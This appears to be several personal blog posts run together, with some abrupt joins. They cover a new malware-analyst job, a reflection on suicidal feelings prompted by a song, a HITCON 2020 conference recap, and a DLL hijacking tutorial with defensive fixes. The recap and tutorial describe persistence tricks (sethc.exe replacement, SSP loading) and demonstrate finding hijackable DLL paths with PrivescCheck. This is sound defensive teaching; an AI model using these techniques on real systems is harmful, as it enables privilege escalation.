My dad and my step-mom were honestly the heroes doing the work helping me move. They helped me move to the apartment near my university, to their home after my school life ends, and now, to this new place that’s at least 300 km (~185 mi) away from theirs. Even though I had fewer things to bring (had to leave my collections at home 😭), it was still at least a carful of stuff. Not only that, they chose to personally drive all this stuff up there with me, which was real dedication.
After I arrived, I was greeted with a spacious room for me to live in. Seriously, I did not expect was how nice the room and the area is (after some cleaning).
![Image](/assets/images/posts/new-chapter-work/f81c2e1082da1265a0a6f9f5e8e2f276b8e3d26fc41afcc8eb7f068acecb6b02.jpg)
![Image](/assets/images/posts/new-chapter-work/5038b3f28dd731fe7cf29ec39f28122113eb134331f8d797e72a6551e364fa57.jpg)
<figcaption>It's everything I could have only dreamed of!</figcaption>
It took me an entire day to sort things out and buy the essential stuff all over again (I had to get a vacuum cleaner because of the dust - it had been a while since someone last stepped in that room it seemed), but I managed to do it. Oh, and no internet for now, so I’m typing this on my tethered network with poor signal. Woo. I can’t wait to get cable internet sorted out. No fiber unfortunately.
Shortly after moving in, I was called to the job. First day at the work was… confusing and anxiety-inducing to say the least - especially how I had to also deal with working out the perfect commute to the workplace. I cannot go into too much detail of the job just in case I accidentally spill any insider info. What I can say is it’s not too different with what a malware researcher might do at home, but a lot more streamlined and enterprise-y. Basically, dynamic and/or static test the sample, write a report, and move on. At the time of writing this post, it’s only the end of the first week of my job, so I’m still figuring things out as I go. I only just got commute figured out on Day 4 and am still not too sure how I should go about writing my reports, but I’m hanging in there.
Now, as for the stuff I’m kind of iffy about this week: work life balance and colleagues.
Work/life balance had always been something that only a Taiwan university student can only talk and or fantasize about when they’re not working a full-time position yet. As much as some courses would want students to discuss their views on work/life balance, the views are often unrealistic in retrospect - even though it’s only been about a week since I started working. My work is relatively simple compared to full-time construction workers or Taiwanese convenience store clerks (seriously, they are expected to do everything around here; check out A Country of Convenience - Taiwan Business if you don’t understand the saturated market of convenience store in Taiwan). We’ve got great work benefits like free snacks and beverages and flexible hours. All great on paper - until I actually started working. 8 hours a day spent at the computer really isn’t that exciting. Besides, given the long commute hours, it means that I’m more or less not home from 7am to 8pm. The long hours mean that I’ll likely be exhausted at the end of the day and have very few hours for entertainment. Indeed, I don’t do a whole lot after work’s started anymore. Granted, I am doing some of that entertainment on-the-go like when I’m on the bus, but it isn’t as comfortable, y’know?
As for the colleague part? It’s not that the colleagues are bad or anything. It’s that I don’t know them yet - and they don’t know me either. Self-introduction can only go so far in the context of official business meeting. This really screws with my social anxiety in the presence of these people. I know with time I’ll get to know these people better, but it’s only after the fact that we feel silly over this retrospect. I don’t know. I’m worrying too much about this. It doesn’t help that because of the nature of this job, there aren’t too many female workers in our division. I’ve always found myself preferring to talk to girls instead of boys - I relate more to girls I suppose. Ah well, time will tell whatever happens next for me.
I’m mainly writing this to document my feelings that I experienced during the first week at work. I know future will be different and potentially more exciting - and that is precisely why I think writing a diary like this would help. I’ll be writing more and compare how I feel about my line of work as I progress into the future.
]]>“The title is oddly depressing,” I thought to myself. I went back to the first link and clicked on it. I was not prepared for the emotional barrage that comes next.
The first link linked to a Japanese VTuber singing the same song in Japanese. As the song started playing, I was immediately drawn to the artistic style of the music video and the piano. The style of the video was simple, yet emotionally powerful with its use of typography next to the VTuber persona. The melody from the piano had a sad yet energetic tone from the arrangement.
The singing began.
“Don’t say you want to die.” “Live on without giving up!” …How foolish it is to say songs with lyrics like that are correct.
In truth, I couldn’t care a bit if I died, but I’d be pretty sad if the people around me did, I suppose it’s some kind of ego, that goes: “Because I just wouldn’t like it.”
Within seconds, the lyrics hit me hard. As someone who has had suicidal thoughts countless times, the 4th line resonated with me in ways that words cannot describe. When someone is passively suicidal, they really couldn’t care less if they got into an unfortunate accident - but when they see someone else struggling the same way, they’d try their hardest to pull that other person out of it and tell them to live on. I’ve seen too many people in just the past few years that struggle with mental health issues, and many of them strongly wished that they could off themselves at anytime in their lives. Whenever I see anyone who struggles like that, I try my best to pull them out of it despite the fact that I’m also suicidal.
“I couldn’t care a bit if I died, but I’d be pretty sad if the people around me did.”
Yeah, I think that sums it up.
Not caring if strangers live or not, and hating someone else just seems like some kind of fashion now, but “Live peacefully” nevertheless? What a wonderful thing that would be indeed…
On the other side of the screen, someone dies, lamenting that someone else sings, influenced by that, a young boy ran off carrying a knife.
We are hated by life itself. Pushing values and ego, as always, so very simply we broadcast songs about wanting to kill somebody else over radio waves. We are hated by life itself. We who thoughtlessly say we want to die, and look at life carelessly, are hated by it.
I’ve got no money, and so throughout the day again, I sing a songs of praise to indolence. Still without grasping the meaning of life, I come to an epiphany that it’s pointless and take a breath. Are these wounds are OK to be expressed with words like “I’m lonely?” Carrying nothing but such obstinacy, today again I sleep alone on my bed.
This “We are hated by life itself” line was repeated after and after in the song. The more I see it, the more I think back to my past, my traumas, my experience > with others. Negative thoughts began to build up as this line was repeated.
Still without grasping the meaning of life, I come to an epiphany that it’s pointless and take a breath. Are these wounds are OK to be expressed with words like “I’m lonely?” Carrying nothing but such obstinacy, today again I sleep alone on my bed.
Over the years, I’ve contemplated what I’m doing with my life a lot. I’m socially awkward, have terrible social anxiety, and just so much more that makes me hate myself. I often went to bed alone thinking, “wouldn’t it be nice if I had someone next to me? Some warmth? I don’t know. Just, someone.” Once again, these lyrics hit me hard like a brick.
We who were but youths at some point start to change into young adults. Growing old, one day we rot away like fallen leaves, with not a soul in the world knowing of our existence… Obtaining an immortal body, and living our whole existence without dying… … I’m just daydreaming about these kinds of science fiction situation.
I couldn’t care a bit if I die, but I’m wanted alive by the people around me, living on carrying such contradictions… I think I’ll get yelled at.
“Things that are “correct” should stay “correct”.” “If you don’t want to die, then live.” If we’re going to end up sad and if that’s fine, then you gotta laugh alone forever.
“I couldn’t care a bit if I die, but I’m wanted alive by the people around me.” This is something I tell myself to keep me going, but it’s… tough. “If you don’t want to die, then live.” I don’t want to die, but at the same time, I don’t want to live either. This is what struggling with mental health is like. We’re constantly in a state of paradoxical loop.
We are hated by life itself. Without even grasping the meaning of joy, we just hate the hand life had dealt us and merely curse our pasts. We are hated by life itself. We who simply like the idea of the word “goodbye” a little too much, without no knowledge of a true farewell, are hated by life itself.
It’s easy for us to think about the idea of saying “farewell” to our friends and family, but… it’s never that easy. The consequences of suiciding are always going to lead to even more sadness, yet, what is there to do?
Happiness, farewells, love, and friendship; they’re all goods that can be bought for money… within jokes made by comical dreams. I might just die tomorrow you know, everything might just end up being for naught.
“I might just die tomorrow you know.” This terrifying line is something I or my close friend could say to anyone. The idea of ending their lives.
Mornings and nights, spring and autumn, unchanging, someone dies somewhere. I don’t need dreams or even a tomorrow, If you’ll have lived on then that’s all I need. Yeah… That’s actually what I want to sing about.
“I couldn’t care less what happens to me, but please live.” this kind of thought went on in my head when I was taking care of my ex, who has severe depression and multiple other mental health related issues. They’re always like, “please take care of yourself,” but what about you? It’s once again a paradoxical loop with no good solution.
Hated by life itself. In the end, we’ll die anyway. You will, I will, one day all of us will rot away like fallen leaves. But regardless, we live on frantically— Shouldering our lives, frantically, we live— Killing, struggling, laughing, shouldering it all, living, living, living, living, JUST LIVE.
The last part hit me the most, especially with Saki’s singing. At first, I thought this song was simply about the struggles of mental health issues, but then the last line, “living, living, living, living, JUST LIVE.” made me realize that this song was about telling someone to hang in there, and that no matter what kind of situation you find yourself in, LIVE.
I listened to this song on repeat for an hour or so, laying in my bed, crying. In retrospect, I don’t know what I was crying for. Was it because of the lyrics? Was that I don’t know if I can hang on to my live? Was it because this person who was singing was telling me and others to live on? I don’t know. I looked more into the song, and turns out this was yet another song with Miku in it. It’s always Miku to turn my life around, isn’t it?
I’m glad to have discovered Saki’s (芦澤サキ) cover. Her voice was, in my opinion, perfect for a song like this. I was immediately drawn to her persona style too. It… made me wish I had a VTube persona as well. Perhaps a little something to fill my gender dysphoria hole. Be someone who I want to be for once. I’m jealous of many girls like her. I want to write music. I want to be able to write or sing songs like this. I want to be a girl. I want to be like her. I want to… be not me. Thoughts like this make me wish I could start my life over, or ending my current life early - but she wouldn’t want that, would she? Anyone who has sung the song wouldn’t want that, would they? No, I’ll just… hang in there, even though we are hated by life itself.
I know this post is a bit ranty and too much of a rambling. I wanted to write about this ever since I listened to the song, but I don’t know how I’d ever get my feelings about this song expressed. Here are some other versions of the song that I really liked:
The idea of 31 people in the room with you, telling you to live… It’s powerful stuff.
]]>I can never finish listening to Kaf’s cover without breaking down in some way. Her voice genuinely sounds like she’s crying and telling the person listening to this not to die. I won’t.
Attending HITCON Community conference has basically been a yearly routine of mine since 2018. Year and year I’m more and more amazed by the quality of the talks and the overall conference - this year was no exception. Every year the organization has surpassed my expectations with their ambitions.
Due to COVID-19, the organization went out of their way to set up remote sessions for both domestic and foreign attendees. While I’ve heard there were numerous hiccups with the online sessions, I believe it’ll get better over time (assuming this is kept a tradition for the coming years). With everything else going on in the world in 2020, I’d like to think we’re extraordinarily lucky to be able to have the physical conference running. Since most events are moved to online if not outright canned around the world this year due to the pandemic, the fact that Taiwan was barely impacted is nothing short of a miracle.
To Taiwan and the rest of the world, I do believe this truly is a turning point for everyone involved - not only because of the various hazards going on right now. In terms of information security, I can certainly feel that the government this year is feeling some sort of pressure from the recent infosec incidents that had occurred in the past 3 years. During this year’s AIS3 (Advanced Information Security Summer School) courses, there was a noticeable presence of National Security and Industrial Control System related courses - which was unprecedented on this scale. In fact, it seems like such a crucial topic that the Vice President of Taiwan even showed up during this year’s HITCON opening ceremony.
After the opening, the rising importance of OT (Operational Technology, as opposed to IT - Information Technology) security was made apparent with the first talk of the day - “Industrial Cybersecurity Landscape in 2020: Trends, Challenges, and Opportunities.” Various APT groups have been preying on Taiwan in the past few years, and the OT industry is perhaps the biggest target of all, as TSMC was attacked by WannaCry in 2018. In fact, the entire semiconductor industry has been under continuous attack even outside of the OT environment, as evidenced by the Black Hat 2020 APT Chimera report by CyCraft.
I skipped over the next period of talks as I didn’t find anything particularly interesting that I wanted to listen to - which was rare. Alas, I went to work on my slides for my Lightning Talk session (I’ll get to that later). As always, the included meals and bonuses that came with the conference were amazing to have. This would be a fantastic chance for non-Taiwanese visitors to try out bentos.
Under normal circumstances, I would have preferred to listen to the “APT Chimera - Operation targets Semiconductor Vendors” talk after the lunch break; fortunately, though, I had the chance to listen to the Dr. Bletchley’s excellent talk during this year’s AIS3 summer school. For those curious, you can find the slides on Black Hat’s website, as this talk was also shown off at this year’s Black Hat.
Anyways, what I ended up doing was tuning in to the “company recruitment” segment, where sponsors do their sponsored segments and advertise their company in the hope of getting new blood. As mentioned in the prologue, 2020 is a turning point for everyone - the entire infosec industry, Taiwan, every country that suffered from COVID-19, and me.
Why me? Because I’ve been on the lookout for a job myself as well. Not just any job, but a job that I can find myself enjoying in. Over the past few years, I’ve decided that the best type of job for me would be becoming a Security Researcher, joining a Red Team of sorts, or doing forensics-related work. In other words, I’ve been hoping to find companies that offer this type of job opportunity. Several companies did peak my interest, CyCraft, TeamT5, Panasonic Cybersecurity Lab, and several more. Getting a job may not sound like that big of a deal, but for me to get any jobs like that would require me to move to Taipei, the capital of the country. Where I’m from is very different from the bustling life of metropolis, which is why I’m kinda anxious about the future as well. I’ll make an updated rambling if I do manage to land a job, though.
The next segment I chose to tune in to was “Operation: I Am Tom,” a talk focusing on various attack vectors and methods TeamT5 had encountered when handling incident responses. Unfortunately, this session was marked as “On-site Only,” which means I’m not allowed to show off any of the slides featured in the talk. What I am allowed to do, though, is talk about some of the exciting highlights from the session.
iamtom.txt
under the root directory.
mimilib.dll
, a library that Mimikatz uses, into the Security Support Provider. If you are interested, XPN has an excellent article on this subject matter over at Exploring Mimikatz - Part 2 - SSP.sethc.exe
(Accessibility Shortcut Keys) with cmd.exe
. By replacing the executable, the threat actor can then launch cmd.exe
by invoking the sticky keys (pressing Shift
5 times).Many more topics were presented in this talk, but the above were the ones I found the most interesting.
Next up was Trend Micro’s talk on the APT group, Tropic Trooper’s, attack among air-gapped systems (a detailed report is on Trend Micro’s blog - Tropic Trooper’s USBFerry Targets Air-Gapped Networks).
This is one of the talks that I found the most fascinating. After all, breaking into a both physically-secured and technologically-secured environment is almost impossible - unless you are a very well-trained group of internet assassins, which honestly, sounds like what the APT group is like IRL.
A quick rundown of a physically isolated system is as such,
To fight against this, the APT group used a type of attack they dubbed “Ferry,” which, in this case, means “to cross the shore by ship to another.” Essentially, the malware would have to travel from devices to devices via removable media (such as USB thumb drives, floppy disks, memory cards, etc.), all while hoping that the malware would not be detected by the AV on the middle-man scanning machine as previously mentioned.
According to the report, the threat actors infiltrated the group via the typical spear-phishing attack, with emails designed for military personnel (e.g., documents with specific weapon information, tanks, etc.). With this information in mind, it becomes apparent that the group behind the attack was most likely state-sponsored, as there’s no way your average Joe would have intelligence regarding weapon blue maps and such.
Perhaps the most interesting bit was that the researchers noted that the APT group would sometimes “forget” to exclude PDB strings in their malware when dropping new versions into the systems. From there, several intriguing version strings can be extracted from the debug symbol paths. The variant went from having the PH
initial to UF
, and when the name change happened, the directory name also included the word USBFerry
. Going from a no-name project to one with a name means that the project has garnered enough reputation among the group members that they perhaps felt it was necessary to give it a name - and that’s why Trend Micro dubbed the attack “USBFerry.”
This explanation did not sit well with me, though - surely, the APT group wouldn’t be dumb enough to leave the PDB path exposed during the build process, right? To me, this seems more like an intentional move from them to show off, perhaps? Not sure. Either way, I don’t think the PDB symbol paths were left intact just because they “forgot.” This type of attack is undoubtedly the most gripping to me, though, as the threat actors were obviously highly trained for this level of infiltration.
This talk was the one I was the most excited about in Day 1. Vulnerabilities that escape from the VM world to the userland are always considered the holy grail for malware. While fewer and fewer of them exist, this talk shows that it is still possible - well, was, after the vulnerability was patched. This vulnerability was assigned CVE-2019-5515 and VMSA-2019-0021, which affects VMWare Workstation 15.5 and other previous 15.x builds. Unfortunately, though, the bug is relatively old, as it was patched some time late last year, so most users are likely invulnerable to this exploit anymore. Either way, it was still very impressive that Chaitin Technology was able to find such obscure vulnerability.
So, where was the exploit found? The vulnerability lies within the virtual e1000e ethernet driver. With a bunch of out-of-bound writes, the threat actor could successfully execute a RCE to the host machine. Unfortunately, a lot of what was featured in the talk was and is outside of my expertise, and the team did not release an official write-up regarding this vulnerability. As much as I’d love to look more into the case, there isn’t a whole lot I can base my research off of (and no, I do not have any photos outside of the 3 featured above).
Day 1 was exhausting.
Though I guess it applies to any conferences I go to these days, as they are typically filled with non-stop information barrage. Didn’t help that I only slept for a couple of hours at the hostel the day prior. From the topics presented throughout the entire day, I was the most intrigued with presentations like the air-gapped targeted attack and the real-world AD attack.
Compared to last year though, the day one experience was less exciting this year around. Not sure if it was because I didn’t visit the booth events or because the talks on that particular day didn’t interest me enough. I think it would certainly help if I had someone else go with me.
Anyways, after the event, I thought I’d take this opportunity to look around the city. Y’know, to take in the capital of the island, since I’m more of a suburb city type of person - still not used to all this crowd and whatnot. The street near the hostel I stayed at was a bustling one. The entire street was lively, but feels… I don’t know, kinda dead men walking in a way? Not sure if it was just me, but I felt certain tension in the air as I was walking around the streets. Maybe I just was not used to the city, still, or I was simply tired. Either that, or busy cities are always like this.
Anyhow, I dropped by the nearby department stores and bookstores to take my mind off things after getting some tea and dumplings as supper. Every time I go to bookstores and whatnot, I wish I could go out not empty-handed - but nah, I kept my cool and decided not to spend my already tight budget. It’s been a couple of grueling months not being able to afford entertainment. Hope I can get a new job soon. Still, it was cool seeing illustration books and oddities in places like these - especially seeing bookshelves full of Fate stuff.
Feeling much more refreshed, I got ready, checked out at the hostel and went out.
As I was heading out, I noticed that there a small breakfast shop just beneath the hostel. It seemed like a good moms’n’pops type of breakfast place. Always enjoyed this aspect of Taiwan, where local restaurants feel truly local instead of “just another chain fast food store” type of deal.
Anyhow, I got a sandwich that was like, $35 NTD (~1 USD) or something and paid with a $1000 NTD (~$35 USD) bill. The woman who was busy working and frying food at the counter hastily took my bill and got me the change - until moments after I realized she literally handed me back another $1000 NTD bill with $465 dollars in change. I stood there for like, 30 seconds, thinking that it must have been a mistake, but should I tell her? I ended up asking “hey, uh, this change doesn’t look quite right?” She took a look at the change, and realized what a huge mistake she made and replaced the $1000 NTD note with a $500 NTD one. That’s more like it.
As I was making my way to the nearby subway station, I pondered to myself, “what would have happened if I didn’t tell her about the change?” Y’know, I could have easily made some money then and there - and I know that would be wrong. The idea of it possibly happening though. The moment of panic that they’d realize that chunk of their money would be missing by the end of the day. They sure didn’t look poor, but they didn’t look like they were swimming in money either. What if that loss of money impacted the rest of their week or even month? Since we don’t know what their financial situation. It’s food for thought.
The first period looked very promising compared to the first day. Study regarding recent DVR/IoT DDoS attacks, smart card duping, bug bounty experience, and breaking a Galaxy S10 - all promising stuff. I ended up picking the S10 Secure Boot attack talk - we’ll get to why I ended up choosing that one later.
⚠ Warning Incoming rant. Skip two paragraphs if you only want to hear the details of the talk and my thoughts on it.
Before I get into the talk, I’d like to talk about one of the reasons why I refuse to buy a Samsung device - lack of developer freedom. Sure, they offer revolutionary hardware and had brought us amazing devices like the Galaxy Z Flip 2 that was recently launched, but they are very stringent on “security.” Perhaps the best example for this argument is KNOX, an e-fuse that is blown should the user decide to unlock their bootloader. KNOX is a stored in a write-once memory chip, so once the fuse has been tripped, it is impossible to reset the fuse state without replacing the entire board.
I never really understood how this increases the overall “security” of the device. I can understand the standard Android approach where a warning has to be displayed when the bootloader is unlocked, as it warns the user that the device may be or may have been tampered with. I can also understand the benefit that KNOX may bring, such as invalidating the security keys used to encrypt user-space content to erase contents of secured folder. I get that. But does it have to be a permanent thing? If the fuse is blown, Samsung can reject your warranty request just because you tried to unlock your bootloader and flashed something else. What if I didn’t want OneUI? The consumer should have a choice in doing so and not be tied with this crap.
Anyways, now that we know that KNOX is a write-once-only bit on a chip that is tripped when a bootloader unlock or root attempt is detected, let’s move on. I chose to tune in to this talk because I had some prior knowledge regarding how Android handles its bootloading process (dm-verity
and whatnot) and was curious to see how the researcher was able to not only defeat KNOX but also how Samsung handled the entire case.
The researcher, Jeffxx, first demoed how this type of execution could be carried out in a real-world scenario. For instance, say Bob’s phone is dead and he wants to borrow Alice’s charger. Alice’s like, “sure, you go relax, and I’ll plug it up.” Bob goes away for a coffee while Alice enters ODIN mode on the device, pushes the malicious code, and reboots the device. After a while, Bob returns and asks for his phone. Bob unlocks his device and goes on about his day. Meanwhile, Alice has already prepared a script that dumps information from the phone remotely after the device has been unlocked. Mission complete! All of this was demonstrated in a pre-filmed video with actual acting. I love the effort that was put into the talk.
After the demo, Jeffxx did a quick explanation on the boot process of a modern Samsung device. Like any other modern secure device, there is a chain of trust involved. If the onboard Secure Boot passes the necessary security check, the bootloader then passes this signal to the kernel, then DM-verity takes care of the system integrity check, and if the integrity check passes, Android boots.
ℹ Information For a more detailed explanation on how Android performs its boot verification checks using dm-verity, see Implementing dm-verity and Verifying Boot on the official Android SDK docs. Note that the booting process explained in the documentation does not relate to Samsung’s KNOX and TrustZone implementation. The Samsung implementation occurs before the dm-verity stage.
As explained in Samsung’s various documentations (see An Overview of the Samsung KNOX Platform (2016) whitepaper, Sensitive Data Protection (SDP), File-based encryption (FBE) and full-disk encryption (FDE)), newer Galaxy devices store the (partial? unsure) KNOX encryption/decryption key within the hardware. Once the user enters their credentials via the Android keyguard, storage spaces that have been encrypted using FBE (File-based Encryption) are then decrypted via the hardware-backed credential storage. The said key is purged from RAM when the device is locked.
While it is not documented in the official documentation (at least I couldn’t find it), it seems that the keys are reset once the KNOX has been tripped. Therefore, data encrypted using FBE (e.g., Secure Folder) may not be retrieved after tripping KNOX.
In laymen’s term, sensitive data may not be retrieved if the following occurs:
So, the challenge here is to a) obtain root without alerting KNOX b) plant files under decrypted storage space. The attacker has to achieve the above in order to access sensitive information stored on the device before TrustZone initialization.
There are very few attack surfaces in a pre-boot environment. Jeffxx decided to tackle this attack from the ODIN download mode.
ℹ Information Samsung’s ODIN mode is used to flash stock firmware signed by Samsung - and as noted by the official whitepaper, a rollback prevention e-fuse is in place, so version rollback is not possible.
ℹ Information I won’t dive too deep into the details in the following sections, as it is totally above my pay grade. A more detailed explanation can be found in Jeffxx’s full slide released at Blackhat 2020.
Through multiple weak ODIN image checks, improper vulnerability patches, and physical hardware glitches (nothing fancy, literally just disconnecting the USB cable at the right time), it is possible to perform arbitrary code execution through overflows. With this in mind, all that’s left is for the user to unlock the device to access the key stored in the credential guard. It’s even possible to chain the vulnerability with known vulns if the user refuses to update. Unfortunately, Samsung still didn’t quite get the bug fixed. It took almost a year for the bugs to be properly patched (see SVE-2019-15872
, SVE-2020-16712
).
Despite all this though, Jeff made it very clear that the attack surface is so complex that it is not particularly trivial to access the secured data. A lot of techniques (like getting physical access to the device in the first place) are required to pull this attack off. As usual with theoretical or complex attacks like this though, the moral of the story is don’t leave your device unattended.
Despite not having the skill to find vulnerabilities within early low-level bootloader stage, this talk still taught me a lot regarding the bootloader mechanism featured on Samsung devices. With that being said though, I still do not see the point of KNOX, as previously mentioned in my rant above.
Certainly Samsung has put in a lot of extra protections to ensure that the user data is secure in the event that TrustZone is defeated, but I still do not believe the whole write-once e-fuse thing is necessary for consumer devices. It’s certainly fascinating to study the security measures implemented at hardware-level, though.
*.lnk
CVEs)When I first saw the title of the talk, I didn’t know what to expect. It didn’t dawn on me what LNK
meant until the talk had started. Yes, it’s exactly what you think it is - the shortcut file extension, .lnk
.
The presenter was Lays (yes, that Lays), who had previously been named a Microsoft MVP researcher in both 2019 and 2020 - and they co-founded Pwnable.tw, which is arguably one of the largest Pwn-focused CTF platform out there.
Anyhow, the motivation for the research was simply to make a good use of the fuzzer project they made when they were finishing their master degree. While looking for potential targets, they found out that the LNK file format seemed to be the best one. Due to the nature of a shortcut file in Windows, link files are always parsed by Windows Explorer before the icon is ever presented to the user. This behavior makes it a perfect target for RCE, as it is almost impossible to tell Windows not to load the file in memory.
In this article, we’ll be focusing on the way Windows handles DLL loading, how threat actors may attack the search chain, and what developers can do to avoid such weakness.
Make sure your environment has the entire orange section secured, and use LoadLibraryEx
with secure flags and use absolute path for the DLL if possible.
As always, to understand how Windows handles things, we need to look no further than the official documentation - Dynamic-Link Library Search Order. In the section “Search Order for Desktop Applications,” the documentation notes the following.
Desktop applications can control the location from which a DLL is loaded by specifying a full path, using DLL redirection, or by using a manifest. If none of these methods are used, the system searches for the DLL at load time as described in this section.
Before the system searches for a DLL, it checks the following:
- If a DLL with the same module name is already loaded in memory, the system uses the loaded DLL, no matter which directory it is in. The system does not search for the DLL.
- If the DLL is on the list of known DLLs for the version of Windows on which the application is running, the system uses its copy of the known DLL (and the known DLL’s dependent DLLs, if any). The system does not search for the DLL. For a list of known DLLs on the current system, see the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
.
So, what does that tell us? The paragraph tells us that before searching for a DLL, Windows will first check: a) if the library is already loaded in the memory, if so, use that, to avoid loading the same DLL in memory; b) if the DLL is in the KnownDLLs
list under HKLM\System\CurrentControlSet\Control\Session Manager\KnownDLLs
.
This section is generally safe from threat actor, as these factors cannot be controlled by attackers under normal circumstances.
⚠ Warning By default, Windows uses what is known as the “Safe DLL Search Mode” to search for the requested library. This mode is controlled by the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
registry value. Because SafeDLLSearchMode
is enabled by default, we will only cover the default behavior.
But what about after that? Once again, let’s refer to the official documentation for clues.
- The directory from which the application loaded.
- The system directory. Use the
GetSystemDirectory
function to get the path of this directory.- The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
- The Windows directory. Use the
GetWindowsDirectory
function to get the path of this directory.- The current directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
Given the above steps, we can plot out what the search order is going to look like:
See the problem? The parts marked in red can easily be manipulated by threat actors, especially if they have arbitrary write permissions. If the attacker could drop files into the application folder or into any of the environment path folders with weak permissions, they could easily cause havoc by replacing the intended DLL with a malicious one (with exceptions, see The Solution).
Consider the following C# code:
[DllImport("unknown.dll")]
public static extern void UnknownMethod();
static void Main(string[] args) => UnknownMethod();
And our unknown.dll
C++ code:
#include <iostream>
extern "C" __declspec(dllexport)
void UnknownMethod()
{
std::cout << "Hello, World!" << std::endl;
}
When we run the application, it will attempt to look for unknown.dll
in various directories based on the search order. In this instance, unknown.dll
is planted at where the current working directory is (where dotnet myapp.dll
is called). We can observe this behavior using Process Monitor.
So let’s say our threat actor has managed to gain access to the Windows or System directory and dropped in their malicious DLL, what would happen when we execute the application again?
Now, this is a very unlikely scenario as the threat actor would first have to elevate their user account with one that has Administrator ACL permissions in order to perform a file write into a protected directory.
Here’s a more likely scenario - what if we were to delete the DLL from the application folder and find a weak ACL controlled directory that is present within our %PATH%
? Fortunately for us (and me), PrivescCheck can help us find PATH directories with weak permissions.
With Invoke-DllHijackingCheck
, we are able to quickly find folders that anyone under NT AUTHORITY\Authenticated Users
can write to. Let’s try moving our malicious DLL there.
DLL hijacking could also be used to target Windows services - though very few of them, if at all, are still vulnerable in one way or another. With PrivescCheck, we can find potentially vulnerable services by invoking Invoke-HijackableDllsCheck
. It will list out the services that has hijackable DLLs, what user account will the process be run as when the hijack is complete, and whether or not a reboot is required for the hijack to work.
PS C:\Users\Still> Invoke-HijackableDllsCheck
Name Description RunAs RebootRequired
---- ----------- ----- --------------
cdpsgshims.dll Loaded by CDPSvc upon service startup NT AUTHORITY\LocalService True
WptsExtensions.dll Loaded by the Task Scheduler upon service startup LocalSystem True
For more details and hands on practices of DLL hijacking, I recommend itm4n’s excellent article regarding DLL hijacking, which can be found in the Additional Resources section.
You may have noticed my peculiar language/runtime choice for testing DLL hijacking. There is a reason that I chose dotnet over C/C++ here. Here’s the problem - there is not a single good solution to avoid DLL hijacking when working with dotnet. At least, not that I can tell. The only method that I can tell is by invoking the LoadLibrary
call directly, as opposed to calling the DLL exports. With LoadLibraryEx
, DLL hijacking can be alleviated to some degree (see below).
If you do know a good method of preventing dotnet DLL hijacking, please do let me know in the comments.
For .NET Core 3.0 and above (inc. .NET 5), the use of System.Runtime.InteropServices.NativeLibrary
class is preferred. So, in our case, we can rewrite the application like this to specify that we only want to search within the assembly directory:
public delegate void UnknownMethod();
static void Main(string[] args)
{
if (NativeLibrary.TryLoad("unknown.dll", typeof(Program).Assembly, DllImportSearchPath.AssemblyDirectory, out var entryPointer))
{
if (NativeLibrary.TryGetExport(entryPointer, "UnknownMethod", out var methodPointer))
{
var MyUnknownMethod = Marshal.GetDelegateForFunctionPointer<UnknownMethod>(methodPointer);
MyUnknownMethod();
}
}
else
{
Console.WriteLine("Failed to locate the DLL within the application directory.");
}
}
No more exceptions when dealing with extern
with missing DLL or fumbling with DLL search order!
LoadLibraryEx
In Windows 8 or above (or Windows 7 or below with KB2533623 installed), the LoadLibraryEx
function has a number of new flags that are created specifically to address this issue.
The new flags are LOAD_LIBRARY_SEARCH_APPLICATION_DIR
, LOAD_LIBRARY_SEARCH_SYSTEM32
, LOAD_LIBRARY_SEARCH_USER_DIRS
and more. Additionally, there are flags such as LOAD_LIBRARY_REQUIRE_SIGNED_TARGET
, LOAD_LIBRARY_SAFE_CURRENT_DIRS
to better ensure the integrity of the library before it is loaded. I’m not going to delve into what each flag does here, as they are best explained in the LoadLibraryExA function (libloaderapi.h) documentation.
The following are excellent articles that provide better insights into this type of attack and remedy,